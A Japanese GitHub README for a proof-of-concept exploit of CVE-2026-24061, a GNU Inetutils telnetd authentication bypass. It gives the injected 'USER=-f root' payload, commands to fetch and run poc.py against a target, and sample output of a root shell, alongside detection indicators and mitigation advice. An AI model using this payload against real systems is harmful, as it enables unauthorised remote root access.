ish3ng0m4/cve-2026-24061-telnetdCVE-2026-24061 GNU Inetutils Telnetd 認証バイパス
CVE: CVE-2026-24061
深刻度: Critical
CVSS: 9.8 (Critical)
CWE: CWE-88 — コマンドにおける引数デリミタの不適切な無害化
影響を受けるコンポーネント: GNU Inetutils telnetd
影響を受けるバージョン: 1.9.3 から 2.7
CVE-2026-24061 は、GNU Inetutils が提供する Telnet サーバー実装における重大な認証バイパス脆弱性です。 この脆弱性は、Telnet の自動ログインが有効な場合に、クライアントが制御する USER 環境変数の検証が不十分であることに起因します。悪意のある値がユーザー名としてではなく、システムの login プログラムへのオプションとして解釈される可能性があります。 脆弱な構成では、認証されていないリモート攻撃者がこの動作を悪用して login を -f オプション付きで呼び出し、認証をバイパスして、要求したアカウントの権限でシェルを取得する可能性があります。
影響を受ける Telnet サービスが root 権限で実行されている場合、悪用に成功すると、認証なしのリモート root アクセスにつながる可能性があります。
脆弱な実行フローは次のように要約できます:
Telnet クライアント
│
│ USER=-f root
▼
telnetd
│
│ login 引数を構築
▼
login -f root
│
│ 認証バイパス
▼
root シェル
この問題は、Telnet の自動ログイン機能と USER 環境変数の処理との相互作用によって引き起こされます。
攻撃者が制御する値:
-f root
は厳密にはユーザー名として扱われません。代わりに、login への引数になる可能性があり、次のような動作と同等になります:
login -f root
-f オプションは、指定されたユーザーに対して通常の認証プロセスをバイパスするよう login に指示します。
このリポジトリには、Telnet 接続を実行し、必要なプロトコルネゴシエーションを処理し、悪意のある USER 値を注入し、結果のセッションを検証する Python 3 の概念実証が含まれています。
git clone https://github.com/Ish3ng0m4/CVE-2026-24061-Telnetd.git
cd CVE-2026-24061-Telnetd
chmod +x poc.py
python3 poc.py <TARGET> <PORT>
wget https://raw.githubusercontent.com/Ish3ng0m4/CVE-2026-24061-Telnetd/main/poc.py
PoC を実行可能にします:
chmod +x poc.py
ターゲットアドレスと Telnet ポートを指定して実行します:
python3 poc.py <TARGET> <PORT>
python3 poc.py 127.0.0.1 23
悪用の成功
CVE-2026-24061 - GNU Inetutils telnetd 認証バイパス
[*] ターゲット: 127.0.0.1:23
[+] 接続しました
[*] USER=-f root を注入
[+] 脆弱性あり
その後、PoC は対話型セッションを提供します。
id
uid=0(root) gid=0(root) groups=0(root)
これにより、Telnet 認証メカニズムがバイパスされ、結果のセッションが root 権限を持つことが確認されます。
このエクスプロイトは次の操作を実行します:
ターゲットの Telnet サービスに接続します。 必要な Telnet プロトコルネゴシエーションを実行します。 悪用に必要な自動ログイン動作を有効にします。 悪意のある USER=-f root 値を供給します。 脆弱な telnetd 実装が操作された値を login に渡すことを許可します。 結果のセッションを受信します。 オペレーターに対話型ターミナルを提供します。
PoC は脆弱な認証経路に対して資格情報に依存しません。
悪用は、ターゲットの構成と、telnetd とシステムの login 実装との相互作用に依存します。
主な条件は次のとおりです:
影響を受けるバージョン範囲内の GNU Inetutils telnetd。
攻撃者がアクセス可能な Telnet サービス。
自動ログイン機能が有効または利用可能であること。
USER 環境変数の脆弱な処理。
注入されたオプションを解釈できる互換性のある login 実装。
したがって、影響を受ける Inetutils バージョンの存在だけを悪用可能性の証明として扱うべきではありません。ディストリビューションのパッチとサービス構成も考慮する必要があります。
CVE-2026-24061 は、脆弱なシステムを完全に侵害する可能性があります。
telnetd が動作する権限に応じて、悪用により以下が提供される可能性があります:
認証バイパス
不正なローカルアカウントアクセス
リモートコマンド実行
権限昇格
root レベルのアクセス
システムの完全な侵害
最もリスクの高いシナリオは、リモートからアクセス可能な Telnet サービスで、悪用により root セッションが得られる場合です。
悪用の可能性を示す指標には次のものがあります:
TCP/23 への予期しない接続。
異常なユーザー名を使用した Telnet 認証試行。
コマンドラインオプションで始まる不審な USER 値。
予期しない login プロセス引数。
telnetd に由来する root セッション。
Telnet サービスによって生成された予期しないプロセス。
ネットワーク監視では、Telnet サービスを不必要に公開しているシステムも特定する必要があります。
推奨される対応は、Telnet を削除し、リモート管理には SSH を使用することです。
Telnet を直ちに削除できない場合:
セキュリティ修正を含むベンダー提供のバージョンにアップグレードします。
適切なオペレーティングシステムのセキュリティアップデートを適用します。
TCP/23 を信頼できる管理ネットワークに制限します。
Telnet が信頼できないネットワークに直接公開されることを防ぎます。
Telnet の認証とプロセスアクティビティを監視します。
Linux ディストリビューションは、アップストリームのバージョン番号を変更せずにセキュリティ修正をバックポートする可能性があるため、管理者は表示されたバージョンだけに頼るのではなく、ディストリビューションパッケージのセキュリティステータスを確認する必要があります。
この脆弱性は、Ubuntu 22.04.5 LTS で実行されている脆弱な GNU Inetutils Telnet サービスに対して正常に再現されました。
PoC は TCP/23 への接続を確立し、以下を注入しました:
USER=-f root
そして root セッションを取得しました。
権限の検証により以下が返されました:
uid=0(root) gid=0(root) groups=0(root)
これにより、セキュリティへの影響が直接確認されます。
この概念実証は、セキュリティ研究、脆弱性検証、許可されたペネトレーションテスト、および教育目的で提供されています。
明示的な許可を得たシステムのみをテストしてください。
Gabriel D. Ishengoma
Offensive Security · Cybersecurity Research · Digital Forensics